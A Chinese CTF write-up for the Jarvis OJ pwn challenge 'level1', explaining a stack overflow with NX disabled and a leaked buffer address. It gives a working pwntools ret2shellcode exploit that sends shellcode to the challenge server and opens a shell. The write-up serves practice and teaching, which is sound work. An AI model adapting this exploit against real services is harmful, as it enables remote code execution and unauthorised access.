(Jarvis Oj)(Pwn) level1

关注

原创最新推荐文章于 2026-03-10 00:36:10 发布 1.4k 阅读 AI 写同款· GEO 优化 ›

jarvisoj_level1 jarvisoj_level1 使用checksec查看：保护全关，并且还有RWX区域。栈溢出的题目的话直接ret2shellcode即可。放进IDA中查看：主函数中直接给出漏洞函数：妥妥的一个栈溢出了，程序会输出buf的地址。查看了下字符串也没有关键字符串，看来就是ret2shellcode 然而…BUU上的环境可能有点问题。并不能打通。于是…使用ret2libc的方式。用write泄露libc的地址，然后捣鼓捣鼓。 exp： from pwn import * from six imp 阅读详情

(Jarvis Oj)(Pwn) level1

首先用checksec查一下保护。几乎没开什么保护措施。关键的是NX没开，意味着栈上的数据可执行。
这里写图片描述
用ida反汇编，找到溢出点。

但这次没有找到system函数了，那么该怎么得到shell呢，发现这个函数调用了printf函数，输出了buf的地址，在结合NX保护是关闭的，那么就意味着，如果将shellcode写到buf中，函数返回时跳转到buf位置，就可以执行shellcode了，示意图如下。
这里写图片描述
写得脚本。

  1 from pwn import *                                                                                                  
  2 
  3 conn=remote("pwn2.jarvisoj.com","9877")
  4 shellcode_addr=conn.recvuntil('?',drop=True)
  5 shellcode_addr=int(shellcode_addr[12:],16)
  6 pad=0x88
  7 shellcode=asm(shellcraft.sh())
  8 payload=shellcode.ljust(pad,'A')+"BBBB"+p32(shellcode_addr)
  9 conn.sendline(payload)
 10 conn.interactive();